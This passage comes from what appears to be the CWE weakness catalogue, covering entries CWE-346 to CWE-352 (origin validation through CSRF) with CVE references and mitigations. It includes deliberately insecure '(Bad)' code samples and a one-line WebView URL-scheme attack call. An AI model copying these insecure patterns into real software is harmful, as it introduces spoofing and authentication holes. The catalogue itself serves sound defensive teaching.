IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

**Example 2:**

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

*Example Language: Java*

*(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

*Example Language: Objective-C*

*(Bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
```



```

NSURL *URL = [exRequest URL];
if ([[URL scheme] isEqualToString:@"exampleScheme"])
{
    NSString *functionString = [URL resourceSpecifier];
    if ([functionString hasPrefix:@"specialFunction"])
    {
        // Make data available back in webview.
        UIWebView *webView = [self writeToView:[URL query]];
    }
    return NO;
}
return YES;
}

```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(Attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

### Observed Examples

Reference	Description
<b>CVE-2000-1218</b>	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning <a href="https://www.cve.org/CVERecord?id=CVE-2000-1218">https://www.cve.org/CVERecord?id=CVE-2000-1218</a>
<b>CVE-2005-0877</b>	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning <a href="https://www.cve.org/CVERecord?id=CVE-2005-0877">https://www.cve.org/CVERecord?id=CVE-2005-0877</a>
<b>CVE-2001-1452</b>	DNS server caches glue records received from non-delegated name servers <a href="https://www.cve.org/CVERecord?id=CVE-2001-1452">https://www.cve.org/CVERecord?id=CVE-2001-1452</a>
<b>CVE-2005-2188</b>	user ID obtained from untrusted source (URL) <a href="https://www.cve.org/CVERecord?id=CVE-2005-2188">https://www.cve.org/CVERecord?id=CVE-2005-2188</a>
<b>CVE-2003-0174</b>	LDAP service does not verify if a particular attribute was set by the LDAP server <a href="https://www.cve.org/CVERecord?id=CVE-2003-0174">https://www.cve.org/CVERecord?id=CVE-2003-0174</a>
<b>CVE-1999-1549</b>	product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1549">https://www.cve.org/CVERecord?id=CVE-1999-1549</a>
<b>CVE-2003-0981</b>	product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0981">https://www.cve.org/CVERecord?id=CVE-2003-0981</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188
MemberOf	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
MemberOf	<b>C</b>	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308

### Notes

## Maintenance

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.

## Terminology

The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Origin Validation Error

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
75	Manipulating Writeable Configuration Files
76	Manipulating Web Input to File System Calls
89	Pharming
111	JSON Hijacking (aka JavaScript Hijacking)
141	Cache Poisoning
142	DNS Cache Poisoning
160	Exploit Script-Based APIs
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking
510	SaaS User Request Forgery

## References

[REF-324]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < <http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf> >.

## CWE-347: Improper Verification of Cryptographic Signature

**Weakness ID** : 347

**Structure** : Simple

**Abstraction** : Base

## Description

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270
MemberOf		310	Cryptographic Issues	2111

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Integrity	Modify Application Data	
Confidentiality	Execute Unauthorized Code or Commands	
<i>An attacker could gain access to sensitive data and possibly execute unauthorized code.</i>		

## Demonstrative Examples

### Example 1:

In the following code, a JarFile object is created from a downloaded file.

*Example Language: Java*

*(Bad)*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

## Observed Examples

Reference	Description
<b>CVE-2002-1796</b>	Does not properly verify signatures for "trusted" entities. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1796">https://www.cve.org/CVERecord?id=CVE-2002-1796</a>
<b>CVE-2005-2181</b>	Insufficient verification allows spoofing.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-2181">https://www.cve.org/CVERecord?id=CVE-2005-2181</a>
<b>CVE-2005-2182</b>	Insufficient verification allows spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2182">https://www.cve.org/CVERecord?id=CVE-2005-2182</a>
<b>CVE-2002-1706</b>	Accepts a configuration file without a Message Integrity Check (MIC) signature. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1706">https://www.cve.org/CVERecord?id=CVE-2002-1706</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improperly Verified Signature
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack
475	Signature Spoofing by Improper Validation

## CWE-348: Use of Less Trusted Source

**Weakness ID** : 348  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2270

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.</i>	

## Demonstrative Examples

### Example 1:

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP\_X\_FORWARDED\_FOR' header in case an authorized user is sending the request through a proxy.

*Example Language: PHP*

*(Bad)*

```
$requestingIP = '0.0.0.0';  
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {  
    $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];  
} else {  
    $requestingIP = $_SERVER['REMOTE_ADDR'];  
}  
if (in_array($requestingIP, $ipAllowlist)) {  
    generatePage();  
    return;  
}  
else {  
    echo "You are not authorized to view this page";  
    return;  
}
```

The 'HTTP\_X\_FORWARDED\_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE\_ADDR' header and so avoids the issue:

*Example Language: PHP*

*(Good)*

```
$requestingIP = '0.0.0.0';  
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {  
    echo "This application cannot be accessed through a proxy.";  
    return;  
} else {  
    $requestingIP = $_SERVER['REMOTE_ADDR'];  
}  
...  
...
```

Be aware that 'REMOTE\_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

## Observed Examples

Reference	Description
<b>CVE-2001-0860</b>	Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0860">https://www.cve.org/CVERecord?id=CVE-2001-0860</a>
<b>CVE-2004-1950</b>	Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1950">https://www.cve.org/CVERecord?id=CVE-2004-1950</a>
<b>BID:15326</b>	Similar to CVE-2004-1950 <a href="http://www.securityfocus.com/bid/15326/info">http://www.securityfocus.com/bid/15326/info</a>
<b>CVE-2001-0908</b>	Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0908">https://www.cve.org/CVERecord?id=CVE-2001-0908</a>
<b>CVE-2006-1126</b>	PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1126">https://www.cve.org/CVERecord?id=CVE-2006-1126</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2199

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Use of Less Trusted Source

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
76	Manipulating Web Input to File System Calls
85	AJAX Footprinting
141	Cache Poisoning
142	DNS Cache Poisoning

## CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

**Weakness ID** : 349

**Structure** : Simple

**Abstraction** : Base

### Description

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Bypass Protection Mechanism Modify Application Data	
<i>An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.</i>		

### Observed Examples

Reference	Description
<b>CVE-2002-0018</b>	Does not verify that trusted entity is authoritative for all entities in its response. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0018">https://www.cve.org/CVERecord?id=CVE-2002-0018</a>
<b>CVE-2006-5462</b>	use of extra data in a signature allows certificate signature forging <a href="https://www.cve.org/CVERecord?id=CVE-2006-5462">https://www.cve.org/CVERecord?id=CVE-2006-5462</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	844	2163
MemberOf		884	CWE Cross-section	884	2327
MemberOf		977	SFP Secondary Cluster: Design	888	2200
MemberOf		1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	1133	2245
MemberOf		1373	ICS Engineering (Construction/Deployment): Trust Model Problems	1358	2301

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Untrusted Data Appended with Trusted Data
The CERT Oracle Secure Coding Standard for Java (2011)	ENV01-J		Place all security-sensitive code in a single JAR and sign and seal it

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
75	Manipulating Writeable Configuration Files



CAPEC-ID	Attack Pattern Name
141	Cache Poisoning
142	DNS Cache Poisoning

## CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

**Weakness ID** : 350

**Structure** : Simple

**Abstraction** : Variant

### Description

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

### Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the product to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the product performs a reverse DNS resolution for an IP address, if an attacker controls the DNS server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1595
ChildOf	B	290	Authentication Bypass by Spoofing	668
CanPrecede	G	923	Improper Restriction of Communication Channel to Intended Endpoints	1700

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	
	<i>Malicious users can fake authentication information by providing false DNS information.</i>	

### Potential Mitigations

**Phase:** Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

### Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

### Demonstrative Examples

#### Example 1:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

*Example Language: C*

*(Bad)*

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strcmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

*Example Language: Java*

*(Bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

*Example Language: C#*

*(Bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

#### Example 2:

In these examples, a connection is established if a request is made by a trusted host.

*Example Language: C*

*(Bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(1008);
bind(sd, (struct sockaddr *) &serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
}
```

```

h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}

```

Example Language: Java

(Bad)

```

while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostName()=...) & (in=...)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}

```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

### Observed Examples

Reference	Description
<b>CVE-2001-1488</b>	Does not do double-reverse lookup to prevent DNS spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1488">https://www.cve.org/CVERecord?id=CVE-2001-1488</a>
<b>CVE-2001-1500</b>	Does not verify reverse-resolved hostnames in DNS. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1500">https://www.cve.org/CVERecord?id=CVE-2001-1500</a>
<b>CVE-2000-1221</b>	Authentication bypass using spoofed reverse-resolved DNS hostnames. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1221">https://www.cve.org/CVERecord?id=CVE-2000-1221</a>
<b>CVE-2002-0804</b>	Authentication bypass using spoofed reverse-resolved DNS hostnames. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0804">https://www.cve.org/CVERecord?id=CVE-2002-0804</a>
<b>CVE-2001-1155</b>	Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1155">https://www.cve.org/CVERecord?id=CVE-2001-1155</a>
<b>CVE-2004-0892</b>	Reverse DNS lookup used to spoof trusted content in intermediary. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0892">https://www.cve.org/CVERecord?id=CVE-2004-0892</a>
<b>CVE-2003-0981</b>	Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0981">https://www.cve.org/CVERecord?id=CVE-2003-0981</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188

### Notes

#### Maintenance

CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improperly Trusted Reverse DNS
CLASP			Trusting self-reported DNS name
Software Fault Patterns	SFP29		Faulty endpoint authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
89	Pharming
142	DNS Cache Poisoning
275	DNS Rebinding

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-351: Insufficient Type Distinction

**Weakness ID** : 351

**Structure** : Simple

**Abstraction** : Base




### Description

The product does not properly distinguish between different types of elements in a way that leads to insecure behavior.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		436	Interpretation Conflict	1000
PeerOf		434	Unrestricted Upload of File with Dangerous Type	991

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Observed Examples

Reference	Description
<b>CVE-2005-2260</b>	Browser user interface does not distinguish between user-initiated and synthetic events. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2260">https://www.cve.org/CVERecord?id=CVE-2005-2260</a>
<b>CVE-2005-2801</b>	Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2801">https://www.cve.org/CVERecord?id=CVE-2005-2801</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling		888 2210

### Notes

#### Relationship

Overlaps others, e.g. Multiple Interpretation Errors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Type Distinction

## CWE-352: Cross-Site Request Forgery (CSRF)

**Weakness ID** : 352

**Structure** : Composite

**Abstraction** : Compound

### Description

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

### Composite Components

Nature	Type	ID	Name	Page
Requires		346	Origin Validation Error	808
Requires		441	Unintended Proxy or Intermediary ('Confused Deputy')	1005
Requires		642	External Control of Critical State Data	1330
Requires		613	Insufficient Session Expiration	1291

### Extended Description

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
CanFollow		1275	Sensitive Cookie with Improper SameSite Attribute	1948

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

#### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

#### Alternate Terms

**Session Riding** :

**Cross Site Reference Forgery** :

**XSRF** :

#### Likelihood Of Exploit

Medium

#### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Bypass Protection Mechanism	
Availability	Read Application Data	
Non-Repudiation	Modify Application Data	
Access Control	DoS: Crash, Exit, or Restart	
<p><i>The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.</i></p>		

#### Detection Methods

**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention. Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

### **Automated Static Analysis**

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

*Effectiveness = Limited*

### **Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner

*Effectiveness = High*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

*Effectiveness = High*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer



*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = SOAR Partial*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

### Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

### Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

### Phase: Architecture and Design

